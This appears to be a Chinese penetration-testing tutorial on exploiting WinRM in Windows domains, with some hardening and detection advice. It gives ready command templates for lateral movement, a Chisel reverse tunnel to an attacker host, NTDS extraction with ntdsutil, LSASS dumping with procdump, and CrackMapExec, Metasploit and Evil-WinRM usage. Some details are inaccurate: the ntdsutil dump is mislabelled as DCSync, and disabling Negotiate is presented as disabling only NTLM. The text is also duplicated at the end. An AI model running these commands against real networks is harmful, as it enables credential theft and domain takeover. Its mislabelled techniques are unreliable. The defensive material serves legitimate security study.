攻防技巧 | 域渗透中WinRM的技巧细节与利用
字数 1446 2025-08-06 18:08:01

WinRM在域渗透中的技巧细节与利用

1. WinRM概述

WinRM(Windows Remote Management)是微软实现的WS-Management协议,允许管理员远程执行Windows管理任务。它默认使用HTTP 5985端口或HTTPS 5986端口。

1.1 WinRM基本特性

  • 基于SOAP协议
  • 使用HTTP/HTTPS传输
  • 支持NTLM和Kerberos认证
  • 默认在Windows Server 2008及以上版本安装
  • 在Windows 7及以上客户端系统可选安装

2. WinRM服务检查与启用

2.1 检查WinRM服务状态

Get-Service WinRM

2.2 检查WinRM监听配置

winrm enumerate winrm/config/listener

2.3 启用WinRM服务

Enable-PSRemoting -Force

2.4 快速配置命令

winrm quickconfig

3. WinRM认证方式

3.1 NTLM认证

  • 默认认证方式
  • 使用当前用户凭据
  • 容易受到NTLM中继攻击

3.2 Kerberos认证

  • 需要域环境
  • 更安全但配置复杂
  • 需要SPN注册

3.3 基本认证

  • 不推荐使用
  • 凭据明文传输

4. WinRM在域渗透中的利用

4.1 远程命令执行

Invoke-Command -ComputerName <target> -ScriptBlock { <command> } -Credential <cred>

4.2 建立持久会话

Enter-PSSession -ComputerName <target> -Credential <cred>

4.3 使用WinRM横向移动

$cred = Get-Credential
Invoke-Command -ComputerName <target> -ScriptBlock { <payload> } -Credential $cred

5. WinRM端口转发与代理

5.1 本地端口转发

netsh interface portproxy add v4tov4 listenport=5985 connectport=5985 connectaddress=<target>

5.2 使用Chisel进行隧道转发

# 攻击机
chisel server -p 8080 --reverse

# 目标机
chisel client <attacker_ip>:8080 R:5985:<target_ip>:5985

6. WinRM安全配置与加固

6.1 限制访问IP

Set-Item WSMan:\localhost\Client\TrustedHosts "<ip_range>"

6.2 启用HTTPS

# 创建自签名证书
$cert = New-SelfSignedCertificate -CertstoreLocation Cert:\LocalMachine\My -DnsName "<hostname>"

# 配置HTTPS监听器
New-Item -Path WSMan:\LocalHost\Listener -Transport HTTPS -Address * -CertificateThumbPrint $cert.Thumbprint -Force

6.3 禁用NTLM认证

Set-Item -Path WSMan:\localhost\Service\Auth\Negotiate -Value $false

7. WinRM攻击检测与防御

7.1 攻击检测指标

  • 异常数量的5985/5986端口连接
  • 来自非管理员的WinRM登录尝试
  • 异常时间段的WinRM活动

7.2 防御措施

  • 禁用不必要的WinRM服务
  • 限制WinRM访问IP范围
  • 强制使用HTTPS
  • 启用Kerberos认证并禁用NTLM
  • 监控WinRM日志

8. 高级利用技巧

8.1 绕过受限端点

$sess = New-PSSession -ComputerName <target> -Credential <cred>
Invoke-Command -Session $sess -ScriptBlock { <command> }

8.2 使用WinRM进行DCSync攻击

Invoke-Command -ComputerName <target> -ScriptBlock {
    & ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q
} -Credential <cred>

8.3 通过WinRM转储LSASS内存

Invoke-Command -ComputerName <target> -ScriptBlock {
    procdump -ma lsass.exe lsass.dmp
} -Credential <cred>

9. 日志分析

9.1 WinRM操作日志位置

Microsoft-Windows-WinRM/Operational

9.2 关键事件ID

  • 6: 会话创建
  • 33: 认证失败
  • 34: 认证成功
  • 35: 会话结束

10. 工具集成

10.1 CrackMapExec

crackmapexec winrm <target> -u <user> -p <pass> -x <command>

10.2 Metasploit

use exploit/windows/winrm/winrm_script_exec
set RHOSTS <target>
set USERNAME <user>
set PASSWORD <pass>
run

10.3 Evil-WinRM

evil-winrm -i <target> -u <user> -p <pass>

11. 实际攻击案例

11.1 通过WinRM获取域管理员权限

  1. 获取普通域用户凭据
  2. 发现开启WinRM的服务器
  3. 使用Invoke-Command执行命令
  4. 提升权限至域管理员

11.2 WinRM中继攻击

  1. 发现NTLM认证的WinRM服务
  2. 设置中继服务器
  3. 将凭据中继至目标WinRM服务
  4. 获取目标系统访问权限

12. 参考命令速查表

命令 描述
Test-WSMan <target> 测试WinRM连接
Get-WSManInstance 获取WinRM配置信息
Set-WSManInstance 修改WinRM配置
Disable-PSRemoting 禁用WinRM服务
winrm get winrm/config 查看完整WinRM配置

13. 总结

WinRM作为Windows系统中强大的远程管理工具,在域环境中广泛使用,但也成为攻击者横向移动的重要途径。了解WinRM的工作原理、配置方法和攻击技术,对于防御和渗透测试都至关重要。通过合理配置和监控,可以显著降低WinRM带来的安全风险。

WinRM在域渗透中的技巧细节与利用 1. WinRM概述 WinRM(Windows Remote Management)是微软实现的WS-Management协议,允许管理员远程执行Windows管理任务。它默认使用HTTP 5985端口或HTTPS 5986端口。 1.1 WinRM基本特性 基于SOAP协议 使用HTTP/HTTPS传输 支持NTLM和Kerberos认证 默认在Windows Server 2008及以上版本安装 在Windows 7及以上客户端系统可选安装 2. WinRM服务检查与启用 2.1 检查WinRM服务状态 2.2 检查WinRM监听配置 2.3 启用WinRM服务 2.4 快速配置命令 3. WinRM认证方式 3.1 NTLM认证 默认认证方式 使用当前用户凭据 容易受到NTLM中继攻击 3.2 Kerberos认证 需要域环境 更安全但配置复杂 需要SPN注册 3.3 基本认证 不推荐使用 凭据明文传输 4. WinRM在域渗透中的利用 4.1 远程命令执行 4.2 建立持久会话 4.3 使用WinRM横向移动 5. WinRM端口转发与代理 5.1 本地端口转发 5.2 使用Chisel进行隧道转发 6. WinRM安全配置与加固 6.1 限制访问IP 6.2 启用HTTPS 6.3 禁用NTLM认证 7. WinRM攻击检测与防御 7.1 攻击检测指标 异常数量的5985/5986端口连接 来自非管理员的WinRM登录尝试 异常时间段的WinRM活动 7.2 防御措施 禁用不必要的WinRM服务 限制WinRM访问IP范围 强制使用HTTPS 启用Kerberos认证并禁用NTLM 监控WinRM日志 8. 高级利用技巧 8.1 绕过受限端点 8.2 使用WinRM进行DCSync攻击 8.3 通过WinRM转储LSASS内存 9. 日志分析 9.1 WinRM操作日志位置 9.2 关键事件ID 6: 会话创建 33: 认证失败 34: 认证成功 35: 会话结束 10. 工具集成 10.1 CrackMapExec 10.2 Metasploit 10.3 Evil-WinRM 11. 实际攻击案例 11.1 通过WinRM获取域管理员权限 获取普通域用户凭据 发现开启WinRM的服务器 使用Invoke-Command执行命令 提升权限至域管理员 11.2 WinRM中继攻击 发现NTLM认证的WinRM服务 设置中继服务器 将凭据中继至目标WinRM服务 获取目标系统访问权限 12. 参考命令速查表 | 命令 | 描述 | |------|------| | Test-WSMan <target> | 测试WinRM连接 | | Get-WSManInstance | 获取WinRM配置信息 | | Set-WSManInstance | 修改WinRM配置 | | Disable-PSRemoting | 禁用WinRM服务 | | winrm get winrm/config | 查看完整WinRM配置 | 13. 总结 WinRM作为Windows系统中强大的远程管理工具,在域环境中广泛使用,但也成为攻击者横向移动的重要途径。了解WinRM的工作原理、配置方法和攻击技术,对于防御和渗透测试都至关重要。通过合理配置和监控,可以显著降低WinRM带来的安全风险。